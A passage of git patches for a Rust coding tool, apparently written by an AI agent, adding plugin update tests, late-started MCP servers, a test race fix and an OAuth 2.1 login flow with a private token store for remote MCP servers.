runs"); + assert!(out.status.success(), "git {args:?}: {out:?}"); + } + + #[test] + fn update_copies_a_folder_again_and_says_the_versions() { + let dir = tempfile::tempdir().expect("dir"); + let source = dir.path().join("src/web"); + manifest(&source, "web", "1.0.0"); + let target = dir.path().join("plugins"); + let installed = add(&source.to_string_lossy(), &target).expect("adds"); + assert_eq!( + Source::recorded(&installed.root).expect("recorded"), + Source::Path(std::fs::canonicalize(&source).expect("canonical")) + ); + + manifest(&source, "web", "1.1.0"); + write(&source.join("commands/new.md"), "New"); + let done = update("web", &target).expect("updates"); + assert_eq!((done.from.as_str(), done.to.as_str()), ("1.0.0", "1.1.0")); + assert!(done.to_string().contains("1.0.0 → 1.1.0"), "{done}"); + assert!(target.join("web/commands/new.md").is_file()); + assert!(target.join("web").join(SOURCE).is_file(), "still recorded"); + let left: Vec = std::fs::read_dir(&target) + .expect("read") + .filter_map(Result::ok) + .map(|e| e.file_name().to_string_lossy().into_owned()) + .collect(); + assert_eq!(left, vec!["web".to_string()], "no staging or old copy left"); + + let same = update_all(&target).expect("all"); + assert!(same.contains("version 1.1.0 unchanged"), "{same}"); + } + + #[test] + fn an_update_that_renames_the_plugin_is_refused_and_changes_nothing() { + let dir = tempfile::tempdir().expect("dir"); + let source = dir.path().join("src/web"); + manifest(&source, "web", "1.0.0"); + let target = dir.path().join("plugins"); + add(&source.to_string_lossy(), &target).expect("adds"); + + manifest(&source, "site", "2.0.0"); + let err = update("web", &target).expect_err("refused"); + assert!(err.contains("now plugin `site`"), "{err}"); + let kept = load_one(&target.join("web"), Scope::User).expect("still there"); + assert_eq!(kept.manifest.version, "1.0.0"); + assert!(!target.join("site").exists()); + + let all = update_all(&target).expect_err("one failed"); + assert!(all.contains("plugin `web`"), "{all}"); + } + + #[test] + fn update_clones_a_git_source_again() { + let dir = tempfile::tempdir().expect("dir"); + let repo = dir.path().join("repo"); + manifest(&repo, "web", "0.1.0"); + git(&repo, &["init", "-q"]); + git(&repo, &["add", "."]); + git(&repo, &["commit", "-q", "-m", "one"]); + let url = format!("file://{}", repo.display()); + let target = dir.path().join("plugins"); + let installed = add(&url, &target).expect("clones"); + assert_eq!( + Source::recorded(&installed.root).expect("recorded"), + Source::Git(url.clone()) + ); + + manifest(&repo, "web", "0.2.0"); + git(&repo, &["commit", "-q", "-am", "two"]); + let done = update("web", &target).expect("updates"); + assert_eq!((done.from.as_str(), done.to.as_str()), ("0.1.0", "0.2.0")); + assert_eq!(done.source, Source::Git(url)); + } + + #[test] + fn a_plugin_without_a_recorded_source_is_not_updated() { + let dir = tempfile::tempdir().expect("dir"); + plugin(dir.path(), "web", "d"); + let err = update("web", dir.path()).expect_err("no source"); + assert!(err.contains("add it again"), "{err}"); + assert!(update("nope", dir.path()) + .expect_err("missing") + .contains("no plugin")); + } + + #[test] + fn a_source_is_recorded_so_it_reads_back() { + let dir = tempfile::tempdir().expect("dir"); + for source in [ + Source::Git("https://example.com/a.git".to_string()), + Source::Path(PathBuf::from("/opt/it's here")), + ] { + std::fs::write(dir.path().join(SOURCE), source.to_toml()).expect("write"); + assert_eq!(Source::recorded(dir.path()).expect("reads"), source); + } + } + #[test] fn a_source_that_is_neither_a_folder_nor_a_repository_is_refused() { let dir = tempfile::tempdir().expect("dir"); diff --git a/src/toolbox/client_servers.rs b/src/toolbox/client_servers.rs index 61761da..332cf25 100644 --- a/src/toolbox/client_servers.rs +++ b/src/toolbox/client_servers.rs @@ -152,6 +152,8 @@ pub(super) struct ClientServers { connecting: Vec, /// Whether this session's servers were started. Once per session. opened: bool, + /// Every server name started in this session, connected or not. + taken: Vec, } /// How long each kind of server has to start: [`START_BOUND`] and @@ -202,30 +204,60 @@ impl ClientServers { bounds: Bounds, on_connected: &OnConnected, ) -> Vec { - let mut said = Vec::new(); let mut all = shared.write().unwrap_or_else(PoisonError::into_inner); if all.opened { return vec!["this session's MCP servers are already connected".to_string()]; } all.opened = true; - let mut taken: Vec = Vec::new(); - for (index, spec) in specs.into_iter().enumerate() { + all.start_each(shared, specs, cwd, filter_env, bounds, on_connected) + } + + /// Start more servers into a session whose own were started already — a + /// project's server the person approved after the session opened — the + /// same way, under the same names and limit. + pub(super) fn add_in_background( + shared: &Arc>, + specs: Vec, + cwd: &Path, + filter_env: bool, + bounds: Bounds, + on_connected: &OnConnected, + ) -> Vec { + shared + .write() + .unwrap_or_else(PoisonError::into_inner) + .start_each(shared, specs, cwd, filter_env, bounds, on_connected) + } + + /// Start each of `specs` on its own thread into `shared` — which `self` + /// is, held for writing. + fn start_each( + &mut self, + shared: &Arc>, + specs: Vec, + cwd: &Path, + filter_env: bool, + bounds: Bounds, + on_connected: &OnConnected, + ) -> Vec { + let mut said = Vec::new(); + for spec in specs { let server = safe(spec.name.trim()); - if index >= MAX_SERVERS { + if self.taken.len() >= MAX_SERVERS { said.push(format!( "MCP server `{}` was not started: a session starts at most {MAX_SERVERS}", spec.name )); continue; } - if server.is_empty() || taken.contains(&server) { + if server.is_empty() || self.taken.contains(&server) { said.push(format!( "MCP server `{}` was not started: its name is empty or already taken", spec.name )); continue; } - taken.push(server.clone()); + self.taken.push(server.clone()); let bound = match spec.transport { Transport::Stdio { .. } => bounds.stdio, Transport::Http { .. } => bounds.http, @@ -235,7 +267,7 @@ impl ClientServers { request); its tools are offered from the first turn after it answers", bound.as_secs() )); - all.connecting.push(server.clone()); + self.connecting.push(server.clone()); let into = Arc::downgrade(shared); let cwd = cwd.to_path_buf(); let on_connected = Arc::clone(on_connected); diff --git a/src/toolbox/mod.rs b/src/toolbox/mod.rs index 898248e..6ba941f 100644 --- a/src/toolbox/mod.rs +++ b/src/toolbox/mod.rs @@ -234,6 +234,49 @@ pub struct SessionTools { allowed: Arc, } +/// Starts servers into a session after it opened — a project's server the +/// person approved once the session was answered. Holds the session's servers +/// weakly: once the session is gone it starts nothing. +#[derive(Clone)] +pub(crate) struct LateServers { + client: std::sync::Weak>, + filter_env: bool, +} + +impl LateServers { + /// Whether the session is still there to start servers into. + pub(crate) fn is_open(&self) -> bool { + self.client.strong_count() > 0 + } + + /// [`SessionTools::connect_client_servers`] for servers named late: the + /// administrator's `[mcp]` lists applied, each started in the + /// background, a line returned for each. + pub(crate) fn connect( + &self, + specs: Vec, + cwd: &Path, + on_connected: &OnConnected, + ) -> Vec { + let (specs, mut said) = crate::mcp_config::apply_managed_policy( + &crate::permissions::managed::mcp_policy(), + specs, + ); + let Some(client) = self.client.upgrade() else { + return said; + }; + said.extend(client_servers::ClientServers::add_in_background( + &client, + specs, + cwd, + self.filter_env, + client_servers::Bounds::DEFAULT, + on_connected, + )); + said + } +} + /// The protected files a person allowed to be written, by /// [`crate::guards::file_key`], until the turn that watches them takes them. #[derive(Default)] @@ -326,6 +369,15 @@ impl SessionTools { said } + /// A handle that starts more servers into this session's after its own + /// were started, from any thread, for as long as the session lasts. + pub(crate) fn late_servers(&self) -> LateServers { + LateServers { + client: Arc::downgrade(&self.client), + filter_env: self.filter_env, + } + } + /// The client's servers started and still connecting, by name — for the /// model, which is told their tools are not offered yet. pub(crate) fn client_servers_connecting(&self) -> Vec { From 7afcf06252016264414dc22bd921b9bb84b1d406 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 20 Oct 2026 18:09:05 +0000 Subject: [PATCH 2/6] plugins: the clone error reads right for update as well as add Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_011DiH8n52ifWoCd5Kx2aHwT --- src/plugins.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/plugins.rs b/src/plugins.rs index bb8f264..e22b218 100644 --- a/src/plugins.rs +++ b/src/plugins.rs @@ -815,7 +815,7 @@ fn clone(url: &str, dest: &Path) -> Result<(), String> { Ok(()) } else { Err(format!( - "`{url}` is not a folder, and git could not clone it: {}", + "git could not clone `{url}`: {}", String::from_utf8_lossy(&out.stderr).trim() )) } From 20fe9ba112e052e260440e4a41c60110f345512c Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 20 Oct 2026 18:15:40 +0000 Subject: [PATCH 3/6] acp tests: the role-picker test reads the update that races the reply The session applies a picked role at once when idle, so its config_option_update can arrive before the set_config_option reply, where Client::call dropped it. The test now keeps what came before the reply and looks there too. It failed about one run in four alone; 12 of 12 pass now. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_011DiH8n52ifWoCd5Kx2aHwT --- src/acp_agent/flow_tests.rs | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/src/acp_agent/flow_tests.rs b/src/acp_agent/flow_tests.rs index e4fb8b1..3608d24 100644 --- a/src/acp_agent/flow_tests.rs +++ b/src/acp_agent/flow_tests.rs @@ -178,10 +178,13 @@ fn a_picked_role_routes_the_next_turns_model() { ); let dir = tempfile::tempdir().expect("ws"); let (session, _) = new_session(&mut client, dir.path(), json!([])); - let set = client.call( + let asked = client.request( "session/set_config_option", json!({"sessionId": session, "configId": "role", "value": "explore"}), ); + // Applied at once while the session is idle, so the session's update can + // race the reply: what came before the reply is kept and looked at too. + let (mut seen, set) = client.until_response(asked); assert_eq!( option(&result_of(&set)["configOptions"], "role")["currentValue"], "explore" @@ -191,15 +194,12 @@ fn a_picked_role_routes_the_next_turns_model() { text_of(&said).contains("on small-model"), "the turn after the pick runs on the role's model: {said:#?}" ); - let updates = updates_of(&said); - let mut told = updates + seen.extend(said); + let updates = updates_of(&seen); + let told = updates .iter() - .filter(|u| u["sessionUpdate"] == "config_option_update"); - let told = told.next().unwrap_or_else(|| { - // Applied while idle, before the prompt: the update may have come - // ahead of it. - panic!("no config_option_update with the prompt: {said:#?}") - }); + .find(|u| u["sessionUpdate"] == "config_option_update") + .unwrap_or_else(|| panic!("no config_option_update: {seen:#?}")); let role = option(&told["configOptions"], "role"); assert!( role["description"] From 305828c991cae273c94c1283f8867604f541d7b0 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 20 Oct 2026 18:18:04 +0000 Subject: [PATCH 4/6] MCP: OAuth 2.1 for remote (http) servers incode mcp login runs the MCP authorization flow: a 401's WWW-Authenticate resource_metadata (RFC 9728) names the authorization server, whose metadata is read from RFC 8414 or OpenID well-known addresses; dynamic client registration (RFC 7591) or a client_id from the server's "oauth" entry; authorization code with PKCE S256 and the resource parameter (RFC 8707), redirected to a one-request listener on 127.0.0.1. Tokens are kept in ~/.incode/mcp-tokens.json (0600), keyed by server name and url, sent as Authorization: Bearer, refreshed before expiry and once on a 401. A session never waits on a browser: a server needing a login is skipped with the command that logs in. incode mcp logout forgets the tokens; incode mcp list shows the status. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_011DiH8n52ifWoCd5Kx2aHwT --- README.md | 50 +- src/acp_agent/mod.rs | 1 + src/lib.rs | 1 + src/mcp_config.rs | 153 ++++- src/mcp_config_tests.rs | 2 +- src/mcp_oauth.rs | 1174 +++++++++++++++++++++++++++++++++ src/mcp_oauth_tests.rs | 818 +++++++++++++++++++++++ src/plugins.rs | 1 + src/toolbox/client_servers.rs | 23 +- src/toolbox/mcp_http.rs | 113 +++- src/toolbox/mod.rs | 2 +- 11 files changed, 2306 insertions(+), 32 deletions(-) create mode 100644 src/mcp_oauth.rs create mode 100644 src/mcp_oauth_tests.rs diff --git a/README.md b/README.md index 6bfad2c..a1234b4 100644 --- a/README.md +++ b/README.md @@ -741,8 +741,9 @@ incode starts the MCP servers named in a project's `.mcp.json` and in your default stops that server and names the variable. - `http` servers speak MCP Streamable HTTP (https anywhere, plain http only to this machine). `sse` is tried the same way; a server that speaks only the - legacy SSE transport will not connect. OAuth is not supported yet — pass a - token in `headers`. + legacy SSE transport will not connect. A server that needs OAuth is logged + in to with `incode mcp login ` (below); a fixed token can still go in + `headers` instead. - **A project's server is asked about before it first runs**, because a `git clone` can bring one. The REPL asks; approvals are remembered in `~/.incode/mcp-approvals.json`, keyed by the server's name and a sha256 of @@ -758,11 +759,54 @@ incode mcp add fs -- npx -y @modelcontextprotocol/server-filesystem . incode mcp add -s project -H 'Authorization: Bearer ${T}' docs https://mcp.example.com/mcp incode mcp remove [-s user|project] incode mcp approve # approve a project server as it is written now +incode mcp login # OAuth: authorize an http server in the browser +incode mcp logout # forget its tokens ``` `add` writes `~/.incode/mcp.json` unless given `-s project`; a project server added this way is approved as written. +#### OAuth for remote servers + +`incode mcp login ` follows the MCP authorization spec: the server's +`401` names its Protected Resource Metadata (RFC 9728), which names the +authorization server, whose metadata is read from +`/.well-known/oauth-authorization-server` (RFC 8414) or +`/.well-known/openid-configuration`. incode registers itself (RFC 7591) when +the authorization server allows it, then opens the browser for an +authorization code with PKCE (S256) and the `resource` parameter (RFC 8707), +redirected to a one-request listener on `127.0.0.1` at an ephemeral port. The +address is printed too, for a machine without a browser — open it anywhere +that can reach back to this one's `127.0.0.1` (an SSH port forward, say). + +An authorization server without dynamic registration needs a client +registered by hand, named in the server's entry: + +```json +"docs": { "type": "http", "url": "https://mcp.example.com/mcp", + "oauth": { "client_id": "abc123", "client_secret": "${DOCS_SECRET:-}", + "scopes": ["read"], "callback_port": 8765 } } +``` + +Every field is optional; `scopes` defaults to what the server asks for, and +`callback_port` is for a client registered with a fixed redirect +(`http://127.0.0.1:/callback`). `client_secret` is sent in the token +request's body. `${VAR}` is expanded in `client_id` and `client_secret`. + +- Tokens are kept in `~/.incode/mcp-tokens.json` (mode `0600` on unix), + keyed by the server's name **and** its url, so a project that reuses the + name for another address gets nothing. They are sent as + `Authorization: Bearer`, refreshed before they expire and once more on a + `401`. +- A session never waits on a browser: a server with an `oauth` entry and no + token is not started, and one that answers `401` with nothing to refresh is + dropped — each with the `incode mcp login ` that fixes it. A server + whose `headers` carry their own `Authorization` is sent that instead. +- `incode mcp list` shows whether each such server is logged in. +- Every OAuth endpoint must be https (plain http only to this machine), no + redirect is followed, and an authorization server whose metadata names + another issuer or leaves S256 out of its PKCE methods is refused. + ## Computer use The model can see and drive a desktop: read a window's accessibility tree, @@ -1170,7 +1214,7 @@ Environment variables: | Path | What it holds | |---|---| | `~/.incode/admin.json` | Your settings, including your [permission rules](#permission-rules) | -| `~/.incode/mcp.json` · `~/.incode/mcp-approvals.json` | Your [MCP servers](#mcp-servers) · the project servers you approved | +| `~/.incode/mcp.json` · `~/.incode/mcp-approvals.json` · `~/.incode/mcp-tokens.json` | Your [MCP servers](#mcp-servers) · the project servers you approved · their OAuth tokens | | `~/.incode/agents/*.md` | Your sub-agents, for every project | | `~/.incode/sessions/.json` | Session pointers, so a conversation can be reopened | | `~/.incode/history.txt` | The lines you typed | diff --git a/src/acp_agent/mod.rs b/src/acp_agent/mod.rs index 02de24a..a2884b1 100644 --- a/src/acp_agent/mod.rs +++ b/src/acp_agent/mod.rs @@ -869,6 +869,7 @@ fn server_specs(servers: &[acp::McpServer]) -> (Vec, .iter() .map(|header| (header.name.clone(), header.value.clone())) .collect(), + oauth: None, }, }), acp::McpServer::Sse(sse) => said.push(format!( diff --git a/src/lib.rs b/src/lib.rs index d19c8c9..cd0341a 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -29,6 +29,7 @@ pub mod ledger; pub mod lessons; pub mod links; pub mod mcp_config; +pub mod mcp_oauth; pub mod mcp_stdio; pub mod migrate; pub mod owner; diff --git a/src/mcp_config.rs b/src/mcp_config.rs index 30274aa..22d0843 100644 --- a/src/mcp_config.rs +++ b/src/mcp_config.rs @@ -30,8 +30,24 @@ //! machine). `sse` is accepted and tried over Streamable HTTP; a server that //! speaks only the legacy SSE transport will not connect, and says so. //! -//! TODO: OAuth. A server that needs an OAuth flow is not supported yet; give -//! it a token in `headers` (from a `${VAR}`) instead. +//! # OAuth +//! +//! An `http` server that needs OAuth is logged in to once, with `incode mcp +//! login ` ([`crate::mcp_oauth`]): the browser opens, and the tokens are +//! kept in `~/.incode/mcp-tokens.json`, refreshed as they expire. An entry +//! may say more under `"oauth"` — a `client_id` (and `client_secret`) for an +//! authorization server without dynamic registration, the `scopes`, a fixed +//! `callback_port`: +//! +//! ```json +//! "docs": { "url": "https://mcp.example.com/mcp", +//! "oauth": { "client_id": "abc", "scopes": ["read"] } } +//! ``` +//! +//! A session never waits on a browser: a server with an `"oauth"` entry and no +//! token is not started, and one that answers `401` with no token to renew is +//! dropped — each with the command that logs in. A server given its own +//! `Authorization` header is sent that, and no OAuth token. //! //! # A project's servers are asked about first //! @@ -87,6 +103,9 @@ pub struct ServerEntry { pub url: Option, #[serde(default, skip_serializing_if = "BTreeMap::is_empty")] pub headers: BTreeMap, + /// How to log in to an `http` server that needs OAuth. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub oauth: Option, /// Whatever else the file says about this server, kept when it is /// written back. #[serde(flatten)] @@ -290,6 +309,9 @@ impl ServerEntry { let names: Vec<&str> = self.headers.keys().map(String::as_str).collect(); said.push_str(&format!(" (headers: {})", names.join(", "))); } + if self.oauth.is_some() { + said.push_str(" (OAuth)"); + } said } Err(why) => why, @@ -340,6 +362,7 @@ impl ServerEntry { .iter() .map(|(k, v)| Ok((k.clone(), expand(v, lookup)?))) .collect::>()?, + oauth: None, } } }; @@ -471,7 +494,10 @@ pub(crate) fn session_servers( } } match entry.to_spec(&name, &from_env) { - Ok(spec) => specs.push(spec), + Ok(spec) => match with_oauth(spec, &entry, data_dir) { + Ok(spec) => specs.push(spec), + Err(why) => said.push(why), + }, Err(why) => said.push(format!( "MCP server `{name}` ({} settings) is not started: {why}", scope.as_str() @@ -481,6 +507,56 @@ pub(crate) fn session_servers( (specs, said) } +/// Whether `name: value` is an `Authorization` header with no credential in +/// it — `Bearer ${TOKEN:-}` with the variable unset. +fn is_blank_authorization(name: &str, value: &str) -> bool { + name.eq_ignore_ascii_case("authorization") && value.split_whitespace().nth(1).is_none() +} + +/// Whether `headers` carries an `Authorization` with a credential in it. +fn has_authorization(headers: &[(String, String)]) -> bool { + headers.iter().any(|(name, value)| { + name.eq_ignore_ascii_case("authorization") && !is_blank_authorization(name, value) + }) +} + +/// `spec`, an `http` server, bound to its OAuth token in `data_dir` — unless +/// it sends an `Authorization` header of its own (a blank one is dropped, and +/// OAuth used instead). A server whose entry says it +/// needs OAuth and that has no token is refused, with the command that logs +/// in: a session does not wait on a browser. +fn with_oauth( + mut spec: ServerSpec, + entry: &ServerEntry, + data_dir: &Path, +) -> Result { + let Transport::Http { + url, + headers, + oauth, + } = &mut spec.transport + else { + return Ok(spec); + }; + if has_authorization(headers) { + return Ok(spec); + } + let store = data_dir.join(crate::mcp_oauth::TOKENS_FILE); + if entry.oauth.is_some() && crate::mcp_oauth::load(&store, &spec.name, url).is_none() { + return Err(format!( + "MCP server `{0}` needs OAuth and is not logged in, so it is not started: run \ + `incode mcp login {0}`", + spec.name + )); + } + headers.retain(|(name, value)| !is_blank_authorization(name, value)); + *oauth = Some(crate::mcp_oauth::Binding { + name: spec.name.clone(), + store, + }); + Ok(spec) +} + /// `specs` less those the administrator's `[mcp]` lists refuse, and a line /// for each one refused. pub(crate) fn apply_managed_policy( @@ -526,10 +602,14 @@ USAGE: [-H 'Name: value']... [--] [args...] incode mcp remove [-s user|project] incode mcp approve + incode mcp login + incode mcp logout Servers live in ~/.incode/mcp.json (user, the default) and ./.mcp.json (project). A project's server starts only once approved; adding one here -approves it. `${VAR}` and `${VAR:-default}` are expanded when a session starts."; +approves it. `${VAR}` and `${VAR:-default}` are expanded when a session starts. +`login` opens the browser to authorize an http server that needs OAuth; its +tokens are kept in ~/.incode/mcp-tokens.json."; /// Run `incode mcp ` and return what to print. /// @@ -562,27 +642,88 @@ pub fn command(args: &[String], workspace: &Path, data_dir: &Path) -> Result { + let [name] = rest else { + return Err("usage: incode mcp login ".to_string()); + }; + login(workspace, data_dir, name) + } + "logout" => { + let [name] = rest else { + return Err("usage: incode mcp logout ".to_string()); + }; + let store = data_dir.join(crate::mcp_oauth::TOKENS_FILE); + Ok(if crate::mcp_oauth::forget(&store, name)? { + format!("logged out of `{name}`; its tokens are forgotten") + } else { + format!("`{name}` was not logged in") + }) + } "-h" | "--help" | "help" => Ok(USAGE.to_string()), other => Err(format!("unknown `incode mcp {other}`\n\n{USAGE}")), } } +/// `incode mcp login `: the browser flow, its address printed too. +fn login(workspace: &Path, data_dir: &Path, name: &str) -> Result { + let (servers, _) = configured(workspace, data_dir); + let server = servers + .iter() + .find(|s| s.name == name) + .ok_or_else(|| format!("no MCP server `{name}` is configured"))?; + let Transport::Http { url, .. } = server.entry.to_spec(name, &from_env)?.transport else { + return Err(format!( + "`{name}` is a stdio server; OAuth is for http servers" + )); + }; + let mut config = server.entry.oauth.clone().unwrap_or_default(); + // A client's secret belongs in the environment, not in a file a + // repository carries. + for field in [&mut config.client_id, &mut config.client_secret] { + if let Some(text) = field.as_mut() { + *text = expand(text, &from_env)?; + } + } + // `${SECRET:-}` with the variable unset: a public client. + config.client_secret = config.client_secret.filter(|s| !s.is_empty()); + crate::mcp_oauth::login( + name, + &url, + &config, + &data_dir.join(crate::mcp_oauth::TOKENS_FILE), + &|line| println!("{line}"), + &crate::mcp_oauth::open_browser, + ) +} + fn status(data_dir: &Path, server: &Configured) -> String { let policy = crate::permissions::managed::mcp_policy(); let lookup = |name: &str| from_env(name); + let mut auth = String::new(); if let Ok(spec) = server.entry.to_spec(&server.name, &lookup) { + if let Transport::Http { url, headers, .. } = &spec.transport { + if !has_authorization(headers) { + let store = data_dir.join(crate::mcp_oauth::TOKENS_FILE); + let configured = server.entry.oauth.is_some(); + if let Some(said) = crate::mcp_oauth::status(&store, &server.name, url, configured) + { + auth = format!("; {said}"); + } + } + } let (_, refused) = apply_managed_policy(&policy, vec![spec]); if let Some(why) = refused.first() { return format!("blocked — {why}"); } } - match server.scope { + let trust = match server.scope { Scope::User => "trusted (user settings)".to_string(), Scope::Project if is_approved(data_dir, &server.name, &server.entry) => { "approved".to_string() } Scope::Project => format!("needs approval: incode mcp approve {}", server.name), - } + }; + trust + &auth } fn list(workspace: &Path, data_dir: &Path) -> String { diff --git a/src/mcp_config_tests.rs b/src/mcp_config_tests.rs index da13550..9b7a7fc 100644 --- a/src/mcp_config_tests.rs +++ b/src/mcp_config_tests.rs @@ -60,7 +60,7 @@ fn entries_become_specs_with_variables_expanded() { } let docs = file.servers["docs"].to_spec("docs", &lookup).expect("spec"); match docs.transport { - Transport::Http { url, headers } => { + Transport::Http { url, headers, .. } => { assert_eq!(url, "https://mcp.example.com/mcp", "the default applies"); assert_eq!(headers[0].1, "Bearer d0c"); } diff --git a/src/mcp_oauth.rs b/src/mcp_oauth.rs new file mode 100644 index 0000000..a4de252 --- /dev/null +++ b/src/mcp_oauth.rs @@ -0,0 +1,1174 @@ +//! OAuth 2.1 for remote (http) MCP servers, as the MCP authorization spec +//! lays it out: `incode mcp login ` once, a bearer token on every +//! request after. +//! +//! # The flow +//! +//! 1. **Discovery.** The server is sent an `initialize` with no token. A `401` +//! whose `WWW-Authenticate` names `resource_metadata` points at its +//! Protected Resource Metadata (RFC 9728); without one, the well-known +//! addresses beside the server are tried. That names the authorization +//! server, whose own metadata is read from RFC 8414's +//! `/.well-known/oauth-authorization-server`, falling back to OpenID's +//! `/.well-known/openid-configuration` ([`as_metadata_candidates`]). A +//! server with no resource metadata at all is taken to be its own +//! authorization server, as the spec's first revision had it. +//! 2. **A client.** The `client_id` (and `client_secret`) in the server's +//! `"oauth"` entry when it has one; otherwise Dynamic Client Registration +//! (RFC 7591) as a public client, when the authorization server offers a +//! `registration_endpoint`. Neither is an error that says which to add. +//! 3. **Authorization code with PKCE** (S256, [`Pkce`]) and the `resource` +//! parameter (RFC 8707), redirected to a one-request listener on +//! `127.0.0.1` at an ephemeral port ([`Callback`]). The browser is opened +//! and the address printed as well, for a machine with no browser. +//! 4. **Tokens** are exchanged and kept in `~/.incode/mcp-tokens.json` +//! ([`TOKENS_FILE`], `0600` on unix), keyed by the server's name AND its +//! address ([`key`]): a project that reuses a name for another address gets +//! no token. Each entry carries what refreshing it needs (the token +//! endpoint and the client), so a session never repeats discovery. +//! +//! # In a session +//! +//! [`TokenSource`] sends `Authorization: Bearer` on every request to the +//! server, refreshes a token that has expired (or is about to) before it is +//! sent, and once more on a `401`. A server with no token, or whose token +//! cannot be refreshed, is dropped with the command that fixes it: a session +//! never waits on a browser. +//! +//! # What it refuses +//! +//! Every endpoint — metadata, authorization, token, registration — must be +//! https, or plain http to this machine only +//! ([`crate::agent::catalogue::key_may_travel_to`]); no redirect is followed +//! ([`crate::runtime::http::no_redirect_client`]); a metadata document past +//! [`MAX_BODY_BYTES`] is refused; an authorization server whose metadata names +//! another issuer, or whose PKCE methods leave out S256, is refused; resource +//! metadata naming a resource on another origin is refused. Tokens are written +//! nowhere but the token file: not to the trace, not into a message. + +use std::collections::BTreeMap; +use std::io::{Read as _, Write as _}; +use std::net::{TcpListener, TcpStream}; +use std::path::{Path, PathBuf}; +use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH}; + +use base64::Engine as _; +use reqwest::header::{HeaderValue, ACCEPT, CONTENT_TYPE, WWW_AUTHENTICATE}; +use reqwest::{StatusCode, Url}; +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value}; +use sha2::{Digest as _, Sha256}; + +/// Where tokens are kept, in incode's data directory. +pub const TOKENS_FILE: &str = "mcp-tokens.json"; +/// How long one request to a metadata, registration or token endpoint may take. +const HTTP_BOUND: Duration = Duration::from_secs(30); +/// How long `incode mcp login` waits for the browser to come back. +const CALLBACK_BOUND: Duration = Duration::from_secs(300); +/// The most of one metadata, registration or token answer read. +const MAX_BODY_BYTES: usize = 1024 * 1024; +/// A token this close to its expiry is refreshed before it is sent. +const REFRESH_MARGIN_SECS: u64 = 60; +/// The most of the browser's request to the callback read. +const MAX_CALLBACK_BYTES: usize = 16 * 1024; +/// The path the authorization server redirects back to. +const CALLBACK_PATH: &str = "/callback"; + +// --------------------------------------------------------------------------- +// Configuration +// --------------------------------------------------------------------------- + +/// A server's `"oauth"` entry in `.mcp.json` / `~/.incode/mcp.json`. Every +/// field is optional: an empty entry only says the server needs a login. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct OAuthConfig { + /// A client registered by hand, for an authorization server that offers + /// no dynamic registration. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub client_id: Option, + /// Its secret, if it is a confidential client; sent in the token request's + /// body (`client_secret_post`). + #[serde(default, skip_serializing_if = "Option::is_none")] + pub client_secret: Option, + /// The scopes to ask for; otherwise the ones the server's challenge or + /// resource metadata names. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub scopes: Vec, + /// A fixed port for the loopback redirect, for a client registered with + /// one; otherwise an ephemeral port. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub callback_port: Option, +} + +/// Which stored token an HTTP server uses: its configured name (the key, with +/// its address) and the token file. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct Binding { + pub(crate) name: String, + pub(crate) store: PathBuf, +} + +// --------------------------------------------------------------------------- +// The token store +// --------------------------------------------------------------------------- + +/// One server's tokens, and what refreshing them needs. +#[derive(Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct Stored { + pub access_token: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub refresh_token: Option, + /// Seconds since the epoch; `None` when the server named no lifetime. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub expires_at: Option, + pub token_endpoint: String, + pub client_id: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub client_secret: Option, + /// The RFC 8707 resource the token was issued for. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub resource: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub scope: Option, +} + +impl std::fmt::Debug for Stored { + /// No token or secret, only what is safe to show. + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("Stored") + .field("refreshable", &self.refresh_token.is_some()) + .field("expires_at", &self.expires_at) + .field("client_id", &self.client_id) + .finish_non_exhaustive() + } +} + +#[derive(Debug, Default, Serialize, Deserialize)] +struct TokenFile { + #[serde(default)] + tokens: BTreeMap, +} + +/// The store's key for a server: its name and its address, so a token goes +/// only to the address it was issued for. +#[must_use] +pub fn key(name: &str, url: &str) -> String { + format!("{name} {url}") +} + +/// Seconds since the epoch. +fn now_secs() -> u64 { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map_or(0, |d| d.as_secs()) +} + +fn read_store(store: &Path) -> TokenFile { + std::fs::read_to_string(store) + .ok() + .and_then(|text| serde_json::from_str(&text).ok()) + .unwrap_or_default() +} + +/// Write `text` to `path` readable by its owner only: a new file beside it, +/// created `0600` on unix, then renamed over it. +fn write_private(path: &Path, text: &str) -> Result<(), String> { + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent) + .map_err(|e| format!("could not create {}: {e}", parent.display()))?; + } + let partial = path.with_extension(format!("tmp-{}", std::process::id())); + let mut options = std::fs::OpenOptions::new(); + options.write(true).create(true).truncate(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt as _; + options.mode(0o600); + } + let written = options + .open(&partial) + .and_then(|mut file| { + file.write_all(text.as_bytes()) + .and_then(|()| file.sync_all()) + }) + .and_then(|()| std::fs::rename(&partial, path)); + if let Err(e) = written { + let _ = std::fs::remove_file(&partial); + return Err(format!("could not write {}: {e}", path.display())); + } + Ok(()) +} + +fn write_store(store: &Path, file: &TokenFile) -> Result<(), String> { + let text = serde_json::to_string_pretty(file).map_err(|e| e.to_string())?; + write_private(store, &(text + "\n")) +} + +/// The tokens stored for `name` at `url`. +#[must_use] +pub fn load(store: &Path, name: &str, url: &str) -> Option { + read_store(store).tokens.remove(&key(name, url)) +} + +/// Keep `tokens` for `name` at `url`. 